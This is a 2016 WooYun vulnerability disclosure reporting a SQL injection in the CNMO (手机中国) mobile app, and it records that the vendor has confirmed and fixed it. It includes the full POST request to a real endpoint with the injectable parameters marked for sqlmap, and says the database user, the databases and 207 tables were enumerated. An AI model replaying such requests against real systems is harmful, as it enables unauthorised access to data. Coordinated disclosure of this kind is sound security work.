当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0167974

漏洞标题：手机中国官方APP存在SQL注入（含200多个表）

相关厂商：手机中国

漏洞作者： 路人甲

提交时间：2016-01-07 09:46

修复时间：2016-02-20 15:48

公开时间：2016-02-20 15:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-07： 细节已通知厂商并且等待厂商处理中
2016-01-07： 厂商已经确认，细节仅向厂商公开
2016-01-17： 细节向核心白帽子及相关领域专家公开
2016-01-27： 细节向普通白帽子公开
2016-02-06： 细节向实习白帽子公开
2016-02-20： 细节向公众公开

简要描述：

APP安全之SQL注入

详细说明：

目标：手机中国官方APP
检测发现以下地方存在SQL注入：（POST中的data[1][iid]/data[2][iid]/data[3][iid]/data[4][iid]，布尔盲注/时间盲注）

POST http://m.cnmo.com/smart/index.php?c=AjaxDoc&m=HotInfos HTTP/1.1
Host: m.cnmo.com
Proxy-Connection: keep-alive
Referer: http://m.cnmo.com/smart/529709.html
Content-Length: 930
Origin: http://m.cnmo.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; ZTE Grand S Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Cookie: z_pro_city=s_provice%3Dguangdong%26s_city%3Dshenzhen; ip_ck=7seD7/n3j7QuOTAyODMwLjE0NTIwOTUyMDU%3D; lv=1452095205; vn=1; Hm_lvt_1de4de9b97dc137046948dc2dbe67061=1452095206; Hm_lpvt_1de4de9b97dc137046948dc2dbe67061=1452095206; tmc=1.236054355.49836455.1452095205903.1452095205903.1452095205903; tma=236054355.49836455.1452095205903.1452095205903.1452095205903.1; tmd=1.236054355.49836455.1452095205903.; bfd_s=236054355.12984014.1452095205883; bfd_g=b207ecf4bbe49438000065f900007e07568d36e8
data[0][iid]=528621&data[0][name]=智能路由器横评+简单易用才是硬道理&data[1][iid]=464533*&data[1][name]=监测数据真的可信？热门智能手环横评&data[2][iid]=447004&data[2][name]=微软数周内将发布智能手表+支持多系统&data[3][iid]=287720&data[3][name]=第二代智能手表+索尼SmartWatch+2亮相&data[4][iid]=531218&data[4][name]=iPhone+7或支持三防+2016值得期待新机

漏洞证明：

1、SQLMap漏洞证明

SQLMAP.jpg


2、列出当前数据库用户

USER.jpg


3、列出所有数据库

DB.jpg


4、列出当前库所有表，共207个

tb.jpg

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-01-07 12:05

厂商回复：

已经修复，感谢

最新状态：

暂无

漏洞评价：

评价